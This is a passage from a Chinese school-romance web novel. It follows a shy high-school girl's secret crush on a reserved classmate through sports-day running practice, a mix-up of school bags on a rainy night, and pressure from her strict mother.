她这个时候有那么一点羡慕贾思雨,她有站出来接任体委职位的勇气,也有能以运动会为缘由和时惟与接触的机会。
运动会这种事一向和林稚水无关,她从小充当的都是坐在观众席里默默注视一切和默默鼓掌的人。
但今年不一样,理科班的女生少,要想把女生的项目报满,每个人都上还不够,还需要有人多报几个项目。
“夏珂,林稚水,你们有想报的项目吗?”贾思雨趁着下课凑过来问。
夏珂苦着脸,“有没有什么轻松的项目啊……我们都是体育废柴……”
贾思雨想了想,说:“要不跳远?反正不要求拿奖,你们随便跳一下参加一下就行,很快就过去了。”
夏珂立马表示可以。
贾思雨看向林稚水,“那你也跳远?”
林稚水犹豫片刻,轻声说:“我想……报800,如果还缺人的话。”
夏珂和贾思雨都十分惊讶地看着她。
贾思雨记名字的笔尖在纸上划出一道痕,她盯着林稚水一时之间没说话。
打量了下身形纤细的林稚水,贾思雨迟疑问:“你……行吗?”
林稚水点点头,笑得很柔软,清丽的脸看起来没什么攻击性,“我想试试,挑战一下。”
贾思雨飞快地写下林稚水的名字,然后高兴地抱了下她,“稚水!你真是解决了我的一个心头大患!”
等她高高兴兴走了,夏珂还没反应过来。
“稚水……你受什么刺激了?从实招来!”
林稚水心虚低头继续整理上节课的笔记,“没有啊,没受什么刺激,就是想挑战一下自己。”
胆小的她,依然不敢去做那个靠着栏杆为时惟与大喊加油的人,不敢去做那个在他跑完之后去送水的人。
一封投往广播站的匿名加油信,站在他站过的跑道也经历一次长跑,就是她能做的了。
她没有明恋的勇气,更不想把自己的暗恋变成人尽皆知的事,只能尽可能小心地、偷偷地、拐着弯地靠近他一点。
比起一开始只想隐匿在人群里的想法,确实要贪心一点点。
但暗恋,或许都带着一点不甘心吧。
夏珂作为了解她的好友,不太相信林
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稚水的解释,依然觉得她很反常,只是她还不能把林稚水的举动联想到时惟与头上。
夏珂最终没有多问,尊重好友不愿透露的隐情。
林稚水决定了要跑长跑,就不想随意地往跑道上一站,然后成为那个慢悠悠的落后的人。
她心中有一股和想要看完全本《ThpletePersepolis》一样的执着。
无论如何,拼尽全力吧。
怀着这样的想法,林稚水跟夏珂说:“放学之后,我想去操场跑步锻炼一下再回家。”
夏珂点点头,满是赞同:“行啊,我支持你。不过我今晚要去小姨家吃饭,不能陪你了。”她想了想,又补充说,“我看天气预报今晚好像有雨诶,你带伞了吗?”
林稚水弯了弯眼,“放心吧,我一直都带着伞的。”
巧合的是,贾思雨居然在某种程度上和林稚水想到一块儿去了。
趁着晚自习开始前发作业的空隙,她走上讲台说:“虽然我们并不要求报运动会的同学一定要得奖,但是我还是希望在比赛开始前我们可以做好充分的准备尽自己最大的努力,给班级多争得一点荣誉。所以我想,放学后或者平时体育课,报名运动会的同学可以抽空训练一下,尤其是接力跑的同学。”
观察了下班里同学的神情,贾思雨顿了下,接着说:“放学后来训练的同学,训练结束以后我请大家喝珍珠奶茶。”
段一舟率先表态支持自己的“接班人”:“不错啊贾思雨,当体委比我当的还专业。”
很快有人积极响应举手,调动气氛:“我要香芋奶茶行不行?”
贾思雨微微一笑,很从容:“当然可以。”
更多人加入讨论,七嘴八舌地说自己要喝什么。
贾思雨点点头,“大家想喝什么都可以,那么,我们放学后在操场上见。”
夏珂小声说:“贾思雨真厉害啊。”
林稚水应了一声,她看着贾思雨,眼里有敬佩,也有一种憧憬。
这样的情绪又很快被一种微小的期待淹没,她趁着向后传试卷的功夫偷偷看了眼时惟与。
他会去吗?
这个问题贾思雨替她问了。
贾思雨从讲台上走下,径直走到时惟与面前,“时惟与,我们都知道你是个大忙人,不过我还是希望你可以抽时间进行一些简单的训练,不然我怕你直接跑1000会受伤。”
林稚水的心骤然被提起。
说不上是对时惟与的回答紧张,还是出于一种莫名的直觉,对贾思雨靠近时惟与的举动紧张。
时惟与“嗯”了一声,“有空会去的。”
贾思雨笑了下,“行。”
没有再多的纠缠,她干脆地回到了自己的位置。
青春期是躁动的时候,男女之间的一点点交往都会被无限地放大。
“贾思雨是不是……?”
“嘿嘿我懂你,我猜是的,她才不是那种会特意跑到一个人面前提醒他的性格。”
“啧啧啧,没想到啊……不过也挺配的?时惟与性格那么冷还得找个跟他互补的。”
耳边的交谈声一阵阵传来,林稚水盯着作业,思绪混乱,机械而又笨拙地学着时惟与的样子转笔。
黑笔“啪嗒”一声掉在桌子上。
连同她的心一起受到了创伤。
林稚水迟钝地捡起那支笔。
她有点恨自己木讷,内向,无聊。
不论是“同性相吸”还是“性格互补”,她都做不到和他相配。
连被人同时提起的可能性都没有。
5. 暗恋
时惟与很给面子地说着会来,但林稚水环视一圈,没能在操场上找到他的身影。
和林稚水一样失望的大概就是贾思雨,她固执地等了一会儿,但最终还是放弃了。
林稚水把书包放到跑道旁的草地上,想先试着跑两圈,结果跑了没两步就被人叫住。
“同学,你是参加长跑的吗?”
一个男声在背后响起。
林稚水被惊了一下,差点摔倒。
她回头,发现是班里的同学陈归帆。
一个跟她完全不熟的人。
陈归帆拄着腋拐狼狈且执着地靠近,“不好意思啊同学,你没事吧?”
林稚水后退一步,“没事,怎么了?”
陈归帆后知后觉地停下,“啊不好意思吓到你了,我看到你在跑步,但是你的跑步姿势有点问题。如果你不介意的话,我可以帮你纠正一下。”
林稚水有点不自在,她不习惯与陌生人相处,更遑论异性同学。她下意识地想逃避,然而她唯一的依靠夏珂并不在。
林稚水抿了抿唇,“不用不用,太麻烦你了……”
“不麻烦不麻烦!来你过来点,我有点不方便。”
对方态度一强硬,林稚水就说不出拒绝的话,她只得往他那走近了些,在原地站得像个柱子。
“来我教你,你只要……”陈归帆卡住。
他的语言表达能力极差,陈归帆下意识地想摆出一个标准姿势,然而又被冰凉凉的腋拐给了现实一击,“要不你先给我看下你的姿势吧。”
林稚水在原地直愣愣得站着,她一直认为跑步是件很私密的事。
凌乱的头发被风吹起露出发际线,逆风的衣服勾勒出身材曲线,用力时不受控的表情,甚至于跑步姿势的别扭,一点点构成了难以言说的少女心事。
林稚水有点后悔,竭力地想着能用什么理由先打发走陈归帆。
“我……”
书包被随意丢到草坪上的声音传来,林稚水话说一半,偏头看了一眼。
时惟与正好转身,迎上她的目光。
林稚水的心猛然跳了一下,忘记收回视线,就这样看着他走近,一句话也说不出来。
原来不是不来,只是晚来。
那一瞬间她的心思百转千回,既有看到他的高兴,又有好奇对他的到来是否跟贾思雨有关的酸涩。
陈归帆很自来熟地跟时惟与打了个招呼,“hi,时惟与,你也是长跑吧,要不你教一下林……”他卡壳了下,但好在没有真的出现忘记名字这种让双方都尴尬的事,“林稚水同学,她的跑步姿势有问题,跑起来费力不说,还很容易摔跤。”
时惟与停了一下,“我不是专业的。”
在林稚水看来这已经是婉拒了,但陈归帆好像听不出来,“没事儿,我算半个专业的,要不你先跑一小段给我看一下?”
时惟与瞥他一眼。
林稚水莫名觉得时惟与有点无语。
她有点想笑。
时惟与走上跑道,没再搭理陈归帆。
刚跑出去一小段,陈归帆立刻高兴地在他背后大喊:“你真谦虚啊,这不是很标准吗!那麻烦你教一下林稚水同学吧,她跑的我都看不过去了!”
时惟与停下脚步,转过身,看了眼那边的林稚水,她默默低着头,兴许是因为尴尬,女孩的耳尖悄悄爬上绯色。
算了。
顺手能帮的忙而已。
时惟与往回走了两步,没靠太近,嫌陈归帆太吵,“林稚水,过来。”
林稚水在原地慢半拍地、傻傻地抬头,“啊?”
这是他第一次叫她的名字。
夜晚的风把时惟与的头发吹得凌乱,露出分明的五官,尽管他这时候依然面无表情,但林稚水总觉得多了几分少年意气。在路灯晕开的白色光圈下,还有一种近乎如错觉般的温柔。
“到我这儿来,跑过来。”
时惟与又说了一遍。
林稚水的身体比大脑的反应更快,她僵直地摆臂,握拳的双手发麻,
在时惟与面前停下时,林稚水脸上的热度已经一路烧到大脑,她短暂地恢复了思考的能力,做出了决断。
诚然,她不想在时惟与面前丢脸,但是,她更不想失去这个和他相处的机会。
冷静,冷静,冷静。
林稚水在心底默念二字箴言。
无法冷静!!!
林稚水处在几乎欣喜和紧张到崩溃的程度上,心跳得好快,大脑充血。
时惟与则是截然相反的平静,“步子迈大点,身体重心往后调,摆臂再往身体中间收点,应该差不多了。”
林稚水不敢看他,盯着脚下的跑道点了点头,“我知道了,谢谢你。”
“再观察下我的起跑姿势,学一下,这个姿势比较好发力。”
林稚水变成了只会点头说谢谢的木偶。
气氛安静了两秒。
“你这样怎么看?”
林稚水闻言猛然抬起头,“对不起!我刚刚没反应过来。”
时惟与可有可无地“嗯”了一声,“没事。”
林稚水连忙学着他摆出起跑姿势。
她是一个省事的学生,没让时惟与多费口舌。
“跑两步。”
林稚水觉得自己像一个被时惟与用语言操控的发条玩偶,机械地听从着命令。
但是,她甘之如饴。
时惟与的声音在身后传来,“就这样跑,你学得很好。”
平淡无波的声音,林稚水竟也品出了几分鼓励。她不确定自己那个时候有没有不受控制地嘴角上扬,但那晚心底的温热和甜蜜让她多年都无法忘怀。
再也不会感受到那样简单的属于青春的幸福了。
林稚水两圈跑下来,累得气喘不停,她来不及修整,搜寻着时惟与的身影。
林稚水跑的是内圈,时惟与跑的是外圈,他曾出现在过她的视线里,但是林稚水觉得自己刚刚表现得太过明显,决心要克制一点,所以并没有用目光紧紧追随。
没看到时惟与,陈归帆倒是率先凑了上来,“林稚水,你可以啊!多练练说不定能拿个奖呢。”
他的热情和自来熟让林稚水招架不住,她后退两步,“谢谢,谢谢。”
“时惟与!”
林稚水和陈归帆同时寻声望去。
贾思雨拎着奶茶过来,林稚水才发现时惟与不知何时已经到了她的身后,此时拎着书包正准备走。
贾思雨一路小跑,先往林稚水手里塞了杯珍珠奶茶,“辛苦啦稚水。”
不等林稚水说谢谢,她已经到了时惟与面前,向他举起另一杯奶茶
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,“不知道你喜欢喝什么就随便点了一杯,别嫌弃。”
时惟与没有接,“谢谢,我不喝这些。”
他说着要侧身路过。
贾思雨没有放弃,挡住他:“诶呀没关系,你可以尝尝呀,实在不喜欢你扔了也行。不然大家都有就你没有我会过意不去的。”
时惟与很客气:“给我也是浪费,你送给别人或者留给自己都好。”
话已经说到了这个份上,贾思雨放下奶茶,“好吧,那你喜欢喝什么?我明天补给你。”
时惟与语气疏离,“你不需要做这些,麻烦让一下。”
贾思雨悻悻让开。
林稚水骤然看了这么一场戏,比当事人还尴尬,匆匆留下一句谢谢就连忙过去背起书包离开。
贾思雨偏头看了眼还杵在旁边的陈归帆,“奶茶你要吗?”
陈归帆一点也不嫌弃,“我要!”
“你一个瘸子来这干嘛?”
“我自己参加不了长跑还不让我来关心一下情况?”
对话声渐渐弱下去,林稚水跟在时惟与身后出了校。她一言不发,和时惟与保持着不远不近都距离。
暗恋大概就是此刻时惟与永不回头的背影,和林稚水仅仅只看他的背影也能感受到的带着微微涩意的甜。
而从操场到校门口的距离,原来这么短。
/
回到家,林稚水的妈妈还没有睡,率先质问她:“怎么这么晚才回来?”
林稚水被问懵了一秒,然后捏紧了书包带子,回答她:“我打电话跟你说了晚自习结束后要去操场跑步。”
方梅华皱眉,“但是你花的时间太多了,你还是要以学习为主,以后不要这么晚了。你要记住,你是从县里面考上来的,跟人家那些以前就在市里面学习的学生不一样,你要付出比人家更多的努力知不知道?”
林稚水低头“嗯”了一声,狭小的出租屋好像变得更加逼仄,她一步步往自己的小房间走去。
方梅华的声音在身后传来,“你不要有什么想法,妈妈怕住宿环境不好,特意租了房子全职陪读,爸爸累死累活在外面赚钱,这两年因为你身上的担子更重了,我们都不求你要报答什么,只要你好好学习就够了。你不学习,你还能干什么呢?”
林稚水低声回答,“我知道的。”
见林稚水如此乖顺,方梅华勉强歇了说教的心思,只是再次强调:“我知道你从小到大都是个听话的好孩子,不要让爸爸妈妈操心了,还是要把心思放在学习上。”
林稚水关上门,坐到小书桌前,忽然感觉好累,长长地叹了口气。
但没有更多的时间让她伤春悲秋了,晚上跑步确实花了一些时间,她得抓紧时间写作业了。
脱下书包林稚水才发现不对劲。
手上的黑色书包触感光滑,材质极好,上面还有一个林稚水不认识的商标。
纵然这个书包设计简约,也不难看出它的品质有多好,更不难看出……这根本不是林稚水的书包。
林稚水的书包也是黑色的,天黑灯暗,是谁和她拿错了书包?
她拉开拉链抽出一张试卷,姓名栏写着苍劲有力的三个字——
时惟与。
林稚水拿着试卷久久没有回神。
她今天晚上,究竟是中了什么彩票?
6. 暗恋
林稚水迅速打开Q.Q,在班级群里寻找时惟与的账号。她娴熟地划拉到S的分类,点进第三个人的主页。
自从时惟与被拉进群之后,林稚水曾不止一次查看过他的主页,好在这个没有讨厌的访客记录。
时惟与的头像是空白,昵称是无,没有签名没有动态,背景是系统默认。以此直白地表明了他懒于经营、无意分享的拒人千里之外的态度。
今天,林稚水终于有了一个合适的借口。
她怀着紧张的心情点了添加好友。
“对方设置了隐私设置,无法添加对方为好友。”
林稚水一愣,有点失望的同时又觉得很符合时惟与的作风。
不敢再浪费时间,林稚水连忙去加了段一舟的好友——“你好,打扰了,我和时惟与同学拿错了书包,可以麻烦你帮我联系一下吗?”
段一舟秒通过。
-ok,包在我身上。
林稚水十分失落,期待落空,心觉人生总是大起大落。
-包在你那?那我们学校门口见可以吗?
对面隔了两秒才回复。
-你误会了,我是说把事情交给我办。
林稚水看到这条消息的下一秒,时惟与的好友申请就弹了出来。
她也顾不上因为理解错别人意思而羞赧了,更顾不上回复段一舟,连忙查看申请,着急忙慌地通过了。
就在林稚水删删打打纠结措辞的时候,时惟与连发来两条消息。
-抱歉,是我拿错了,在哪里见合适?
-外面下雨了,不打扰的话我可以送到你家门口。
林稚水打字的手顿住,她目前住的出租屋是距离学校需要步行十几分钟的养老小区里的两个合并车库,环境并不算好。
怀着青春期那点敏感的自尊心,林稚水拒绝了。
-不用麻烦,我们在学校门口见就好。
-好的。
林稚水拿起书包,在门口确认了方梅华已经熟睡才开门出去。
外面的确飘了小雨,好在算不上大。
林稚水把书包背在身前,伞向前倾斜,紧紧护住了时惟与的书包。
她走得很急,怕让时惟与等她,十几分钟的路程硬是被缩成了七分钟。
等她到的时候,时惟与正撑着一把黑伞站在保安亭前面,一辆低调的轿车停在一旁。
林稚水小跑过去,“抱歉,久等了。”
时惟与看了眼身形伶仃的林稚水,他以为林稚水至少是家长送来的,没想到她孤身一个人就这么跑来了。
从他的视角向下看去,林稚水的身前还好,但背后的衣服却湿淋淋地贴在少女单薄的脊背上,随着她的呼吸起伏着。
简直像一只笨拙的、湿漉漉的护着宝藏的雏鸟。
时惟与不着痕迹地移开目光,语气不自觉软和一点,“我也刚到,麻烦你了。”然后拉开车门把书包放进去,“雨下大了,我让陈叔送你回去。”
林稚水受宠若惊地后退,一脚踩进水洼中,“不用麻烦,我走回去就行了。”
雨水渗进鞋袜,留下湿冷的触感。
林稚水却顾不上在意,胸腔里那颗鼓动的心脏源源不断地传来热意。
那是属于她少女时代的一腔热血和真心。
时惟与难得态度强硬,“已经很晚了,还下着雨,你一个人回去我不放心也过意不去,上车吧。”
对方态度一强硬,林稚水就没法再坚持己见,她闻言没再说出拒绝的话,“太麻烦你了……”
时惟与纠正:“本来就是我的问题。”
林稚水抿了下唇,小心翼翼上了车,坐得很拘谨,后背的潮湿黏腻她不是没有感觉,很怕把别人的车子弄得湿淋淋的。
时惟与看了一眼,“随便坐就好。”
林稚水点了点头,还是没好意思动。
“小姑娘你家住哪儿?”开车的陈叔问。
“云平小区,送到小区门口就好了。”
察觉到旁边时惟与的视线,林稚水生怕他要再问,连忙说:“真的,送到小区门口就行了。”
时惟与见她自己坚持,没再多说。
本就是出于礼貌的体贴,如果逼迫她接受一种不想要的善意,反而成了负担。
雨夜昏暗,车轮碾过水洼溅起巨大的水花,连绵不绝的落雨声让整个世界都静谧下来。
林稚水偏头看向车窗外,慢慢平复呼吸,心跳声在安静的空间中被放大,仿佛胸腔内有一只急于挣脱的鸟儿,要立刻飞到时惟与的肩上去。
她想将注意力放到车窗外不断滑落的雨滴上,却徒劳无功。视线不争气地将焦点落在了车窗上那个模糊的倒影上,鼻尖隐隐约约还停留着时惟与衣服上的皂角香。
始作俑者时惟与对此无所察觉,他戴上耳机,又是那副生人勿近的模样。
十几分钟的路程开车只需要几分钟,林稚水还来不及珍惜和时惟与共坐后排的时光就已经到了目的地。
她压下不舍的情绪,背起书包下车,语速因刻意保持平稳的声线而变快,“谢谢你,时惟与,谢谢叔叔,麻烦你们了。”
陈叔很热情地跟她挥手,“嗐,小事儿!”
时惟与坐在车内,身体大半陷进阴影里,窗外掠过的车灯让他的身形清晰一瞬又迅速隐匿,一明一暗下,他依然是那副不近人情的神色。
林稚水不敢看他,只听到他清冷冷的声音穿透雨幕传来:
“路上小心,再见。”
林稚水抬头,扬起一个蜻蜓点水般的笑容,“嗯,再见!”
回到家,她抱着自己的纯黑色的书包,将头埋首其中,静默好久。
这个书包是初中那年买的。方梅华说它耐脏,林稚水的目光就被迫从那些蓝的白的花的身上移开。
升入一中,林稚水忐忑提出想要换一个新书包作为奖励。方梅华瞪她一眼,说她好好学习是为了自己,为什么不懂体谅父母的辛苦?爸爸养家不易,工资微薄,为什么要额外增添他的负担?做人不能太自私。
林稚水被说懵,陷入深深的自责。
很长一段时间内,她看着自己的书包都会生出一股痛苦的情绪,带着浓浓的自厌心理。
摩挲着书包带着毛边的布料,林稚水悄悄留下一滴泪。
那些带着伤痕的记忆,终于被幸福覆盖。
手机弹出一声提示音。
林稚水打开,显示时惟与发来一条新消息。
-到家了吗?
林稚水情不自禁弯起泛着泪的双眼。
她输入“到了”,觉得过于冷淡,干巴巴的。
想了想改成“到啦”,又觉得太过热情,显得过分雀跃谄媚。
面对暗恋的人总是小心翼翼,既想靠近又怕暴露,而“恰好”的尺寸又太难把握。
林稚水删删改改,最后输入:已经到了,谢谢你。
-好
那个“好”字好像有魔力,吸引着林稚水看了一遍又一遍。
当时的喜悦和莽撞之后都再难体会,只有林稚水当天发在小号的一条仅自己可见的说说还能再窥得其中一二情绪:
好喜欢下雨天!!!
/
林稚水隔天在和夏珂去小卖部的路上把陈归帆的事情告诉了夏珂,夏珂闻言笑得乐不可支。
“陈归帆啊,他是个奇葩,你离他远点。”
“为什么这么说?”
“你知道他这腿怎么摔的吗?从楼梯上一跃而下想在别人面前装逼,然后骨折了。听说他妈气得在医院里扬言要把他打成终身残疾。”
“那他想着要来教我跑步是为什么?”
夏珂耸了耸肩,“谁知道,可能热爱长跑好为人师吧。对了,你怎么把他打发走的?”
林稚水心虚一噎,一时之间没接上话。
夏珂立刻凑过去,“嗯?不对劲!快说,后来发生了什么?”
林稚水尽力表现得自然,“没什么,刚好时惟与路过,陈归帆让时惟与教我。”
“然后呢?”
“没有然后了呀……”
“时惟与拒绝了?”
“他答应了……”
夏珂闻言猛然凑近,“我靠,然后呢然后呢?你们之间有没有发生什么?”
林稚水故作平静:“能发生什么?他就指点了我一下,然后就没然后了。”
那个晚上的幸福,她只想一个人珍藏。
夏珂思索半天,没从林稚水身上发现什么不对,想了想憋出一句:“时惟与这也算是英雄救美了,没想到他看着冷冰冰,人还挺好的。”
“嗯,是挺好的。”林稚水面不改色地附和。
她在心底补充,是非常、非常、非常好。
夏珂实在试探不出来,正要放弃,又突然想到什么,“诶?我记得……你好像问我要过他的照片吧?”
林稚水身体紧绷,强装镇定,“我不是说了是看他觉得眼熟吗?想看看是不是……”
夏珂果然被吸引了注意:“是什么?”
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林稚水面不改色地继续乱编:“上次坐公交车遇到个好心人帮我付了两块钱,我想看看是不是他。”
夏珂更加兴奋了,“所以是吗?!”
林稚水无情告知:“不是,没那么巧。”
夏珂失望地“哦”了一声,放弃遐想,很快换了话题:“唉,我今天晚上打算去练一下跳远,不然比赛的时候就我什么都不懂可太丢脸了。”
林稚水顿了下,“我晚上不去了。”
“啊?为什么啊?练一天就够了吗?”
林稚水尽力说得轻松,“我妈妈觉得回去的时候太晚了,她怕不安全。”
夏珂好奇问:“让你妈妈晚上来接不行吗?”
林稚水低着头,“她比较忙。”
林国立每每要加班到很晚才下班,为了让他吃上一口热菜,又不至于一个人太孤单,方梅华总是做了饭陪他吃过了再来。那个点已经没了公交车,方梅华经常是一路骑着电瓶车来的,为了第二天还能给林稚水做早饭。
林稚水时常觉得方梅华不需要这么辛苦,但方梅华有自己的主意。
“我辛辛苦苦大早上起来给你做饭就为了你早上能在家里安心吃口热的,你还不领情?”方梅华曾经是这么说的。
林稚水小声辩解一句:“我可以自己买早饭路上吃,我怕你这样太累了。”
方梅华“啪”一下放下碗筷,“买早饭的钱从哪里来?你怎么就不懂得体谅家里的艰难呢?”
林稚水低头,不再说话。
夏珂“哦”了一声,又给她出主意:“那我让我妈顺路送你怎么样?”
林稚水笑了笑,婉拒:“不用了,太麻烦阿姨了。”
其实根本不是安全的问题。
夏珂还欲再说,二人已经到了小卖部门口。
林稚水岔开话题,“你想吃什么呀?”
夏珂没回答,两眼放光地盯着里面的某个人,推了推林稚水,“诶诶诶,时惟与在里面。”
林稚水心跳漏了一拍,控制着自己的视线不往里面飘,面上还很镇定,装模作样问:“那又怎样?”
夏珂恨铁不成钢地看着她,“人家帮了你你都不去打个招呼吗?你想想,到现在就你和他搭上过线,你要珍惜这个机会呀!此等优质男可不能轻易错过!”
林稚水闷头往里面走,听到这话吓了一跳,她心虚地看了眼时惟与,然后压着嗓子提醒:“别乱说,至少小点声。”
夏珂理不直气也壮,仗着货架遮挡一本正经地说:“我哪乱说了,这明明就是真理。”
她又推了推林稚水,“时惟与结账了,快去帮他买单呀,当个谢礼……”
“时惟与!好巧!”
夏珂话没说完,贾思雨从外传来的声音就阻断了她接下来的话。
时惟与付钱的动作不停,闻言只是偏头看了一眼,礼貌性回应:“好巧。”
贾思雨冲过来想按住他的手,时惟与不着痕迹地躲过,他语气略带几分冰凉,“有事?”
贾思雨收回手,转而开始掏钱,大大方方道:“你把钱收回去,我请你。昨天晚上你没喝到奶茶我总觉得过意不去,这次你可别再跟我争了。”
收钱的老板左看看右看看,最后谁的钱也没接,选择看戏。
林稚水有点待不下去了,她不想看别的女生如何对着时惟与示好,这样只会让她自己体会到一种自惭形秽的怯懦。
但时惟与的态度,又牵扯着她的心。
于是她僵站在这里。
时惟与没什么反应,自顾自放下钱,欲转身离开,“不用。”
贾思雨拿着纸币的手僵在空中,声线微微绷直,“只是想请你喝瓶矿泉水也不行吗?”
时惟与淡淡回复:“谢谢,但不需要。”
他侧身路过,走得毫不留恋。
终于挑出心仪辣条的夏珂也听到了全程,她“啧”了两声,凑到林稚水耳边小声说:“算了,这朵不近人情的高岭之花我们还是让给别的勇士吧。”
林稚水心绪复杂,有一点对贾思雨的兔死狐悲的哀伤,又有一点对时惟与不和任何异性.交好的羞耻的窃喜。
在悲哀的共情和卑劣的庆幸中,林稚水陷入了迷茫。
而对于夏珂的话,林稚水并未作答。
她没法坦荡地答应夏珂,只好略带生硬地转移话题。
林稚水指了指夏珂手里的辣条,有点嫌弃:“它好像漏油了。”
夏珂很不服气,“你懂什么?这样的才是最正宗最好吃的!”
7. 暗恋
林稚水糊弄过了时惟与的话题,却没躲过操场的问题。
夏珂又重复一遍:“对了,我刚刚说晚上让我妈送你回去,放心吧一点也不麻烦的,真的。”
林稚水抿唇,没能再拒绝夏珂的好意,“那我晚上打电话问问我妈吧。”
夏珂立刻笑着点头应好。她挽着林稚水的胳膊,嘴里念叨着:“我好怕我跳的时候整个人栽进沙……诶,你往哪儿走呢。”
林稚水从纷乱的思绪中惊醒,脸颊迅速染上一层薄红。
心虚的。
“我刚刚在想事情。”
沉浸于思考晚上要怎么跟方梅华开口,林稚水下意识地往西面楼梯口走了。
一层六个班级,11班在偏东面的位置,但从西边楼梯上去,可以顺理成章地从后门进班。
开学以来,林稚水就一直保持着这样“绕远路”的进班方式。
运气好的时候比时惟与来的晚一些,就能看他一眼。
夏珂拉着她往东边的楼梯口走,顺口问她:“想什么呢这么入迷。”
林稚水一时没编出理由,只好实话实说:“想我妈会不会同意……”
夏珂不了解林稚水的家庭情况,听她似有难言之隐,连忙说:“不行也没事儿,我们周末也能练习。不练习都没事儿,反正尽力就行。”
林稚水能感受到夏珂的好意,她浅浅地笑,“好。”
“林稚水同学!”
陈归帆站在她座位旁,看见她从前门进来,惊喜一喊。
夏珂倒吸一口气,贴着林稚水小声骂了句脏话,“他要搞什么?”
林稚水也是一脸懵,一时之间停在原地不知作何反应。
而陈归帆的性格显然不需要人反应,他主动走近,“林稚水同学,我仔细想了想,昨天晚上多有冒犯,还希望你不要介意。”
夏珂绷着脸看他,总感觉他不像好人。
林稚水尴尬一笑,“没事的。”
陈归帆长舒一口气,“你没有生气就好。”
他说完就自顾自地走掉了。
夏珂:“……他到底想干嘛?”
林稚水也觉得有点莫名其妙,看一眼他艰难行走的背影,“不知道。”
她没放太多心神在陈归帆身上,甚至今天连时惟与都没之前那么关注,满腹心神想得都是晚上要如何应对方梅华,以至于在她最害怕的化学课上都略有失神。
“林稚水同学。”
林稚水慌忙起身,看到化学老师面色不善地看着她。
她忐忑地等待审判。
“请你帮我们复习一下上节课的重点,如何判断什么是还原反应什么是氧化反应?”
林稚水心头一跳,脑子充血,过了两秒才反应过来,“升失氧,降得还。化合价升高,失去电子,发生氧化反应。化合价降低,得到电子,发生还原反应。”
化学老师总算愿意放她一马,“很好,坐下吧。”
林稚水松了口气,却还不长记性。
她坐下的那一秒,心里居然想的是时惟与。
他刚刚有没有在看她?
真是无药可救了。
林稚水默默在心里扇了自己一巴掌,强行把注意力重新放到课堂上。
好不容易快要熬过下午的课,在最后一节课上课前,林稚水跟夏珂小声说:“我不去食堂吃了,我趁吃饭的时候去给我妈打电话。”
夏珂“啊”了一声,“你不饿吗?”
她是已经饿得不行了。
林稚水:“我去小卖部随便买两个面包好了。”
她又拉住夏珂,“抱歉呀,不能陪你了。”
夏珂哼哼两声,勉强接受:“我以后会从你身上讨回来的,你等着补偿我就行了。”
下课铃敲响,大家都一窝蜂地往外面涌。林稚水混在人群里出去了。
她走到电话亭那儿,看到已经有几个学生在打电话了。
林稚水没去排队,在旁边安静等了会儿,等到彻底没人的时候才过去。
输入方梅华的电话号码,林稚水深呼吸了两下才让自己勉强冷静下来。
她拨通号码,举着电话的手微微颤抖。
等待的过程无比煎熬。
“喂?”
林稚水尽力保持声线平稳:“妈,我今晚要晚点回去。化学老师说放学后他会留下来给我们辅导半个小时。”
方梅华没立刻答应,“收钱吗?”
林稚水心知有戏,悄悄松了口气,“不要,老师免费帮忙的。”
方梅华不再多说什么,“哦,那你好好听啊,不懂的多去问老师,你化学这门课要好好补补,理综里就这门最差了。”
林稚水:“嗯,知道了,那我先挂了。”
挂完电话,林稚水的心跳才慢慢平复下来,她甚至有种劫后余生的感觉。
这是她第一次对方梅华撒谎。
傍晚的风吹在林稚水身上,让她感到一丝凉意意。她偏头看了眼晚霞,影子在身后被夕阳的光拉长。
心中有一种愧疚,又有一种释然。
等到夏珂回来,林稚水立刻告诉了她这个好消息,“我妈妈同意了,晚上我跟你一起练习。”
夏珂惊喜地抱住她,顺势蹭了蹭,“好吧,那我勉强同意你今晚没跟我一起吃饭了。”
等到了放学,林稚水想起什么,拿出她珍藏的mp3,戴上耳机。
只是很可惜,操场上依然没有时惟与的身影。
也许他今天也会晚来。
耳机里传来单调的女声,一个个英语单词从她的耳中滑过,不留痕迹。
林稚水跑完一圈又一圈,两圈下来她气喘吁吁,撑着腿在平复呼吸。
时惟与。
他今天没有来。
林稚水扯下耳机,缠好放回自己的口袋。
说不上来是什么感受,内心空落落的。
好像突然从梦中惊醒一般,一片茫然。
入秋了,带着凉意的夜风扑打在林稚水的脸上。
她这个时候才明白,昨天晚上的经历太美好,但那只是天时地利人和的情况下的巧合而已。
十二点的钟声早就敲响了。
她是没有落下水晶鞋就回到家中的灰姑娘,不能再妄想之后会发生什么故事了。
/
段一舟出国了。
林稚水是在周六看到段一舟发的说说知道的,不过其实她不大关心,因为段一舟和她根本就不熟。
她在乎的只有一个人。
段一舟作为学校里呼朋唤友的人气王,他的说说有一百多个人点赞,评论九十多条,其中一半是段一舟给别人的回复。
林稚水一一翻了翻,没看到时惟与的身影。
他是不是不看这些?
林稚水无从得知,叹了口气,因为没看到他的动态而有些失望。
段一舟神出鬼没是因为要出国,时惟与是因为什么?
甚至就连刚宣布的物理竞赛他都没有报名参加。
再想到他被学校从实验班分配到理强班,林稚水无端有些忧虑,不敢细想,尽管这跟她毫无关系。
她放下手机,拍了拍脸勉强收了心思,时惟与和接下来的运动会、国庆假期的确让人在意,但假期之后的
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月考更让人难以忽视。
尤其在林稚水骗方梅华每晚都额外补习化学的情况下,她想,至少要真的进步一点吧。
都说数理化不分家,林稚水的数学很好,物理平平无奇,化学却怎么也开不了窍。
高一刚进去的时候,林稚水一天能被化学老师找五次,化学老师曾经看着她的卷子叹气,“真是满纸荒唐言,一把辛酸泪,怎么就是不开窍呢?”
经过了一年的拷打,现在林稚水的化学才勉强追上来一点。
林稚水仔细复习错题,试图回忆老师讲的做题思路,她正沉浸其中时——
“砰!”
门被推开。
“林稚水,收拾东西我们回县里。”方梅华招呼她。
林稚水茫然,“怎么了?”
方梅华笑着,心情很好:“你二姨昨天新开了家剪头店,昨天你上学没带你过去,今天带你去看看。”
林稚水闻言虽觉得有点不对劲,但还是听话收拾了东西。
但很快她就知道她的感觉是对的了。
林稚水乖乖和二姨岳丁香打了招呼。
她心里很喜欢这个二姨,她的mp3就是岳丁香送给她的。
岳丁香家里有两个女儿,但读书都不大聪明,先后就辍学去打工了。
而林稚水很聪明,从小到大成绩都好,还考上了市一中,这让一向喜欢炫耀的岳丁香非常惊喜,到处和人说她的外甥女多么有出息。
别人越恭维她,她就越疼爱林稚水。
岳丁香很亲切地跟林稚水打招呼,“稚水啊,学习辛苦了吧,二姨保证给你剪个漂漂亮亮的发型!”
林稚水懵住,“我不剪头发啊。”
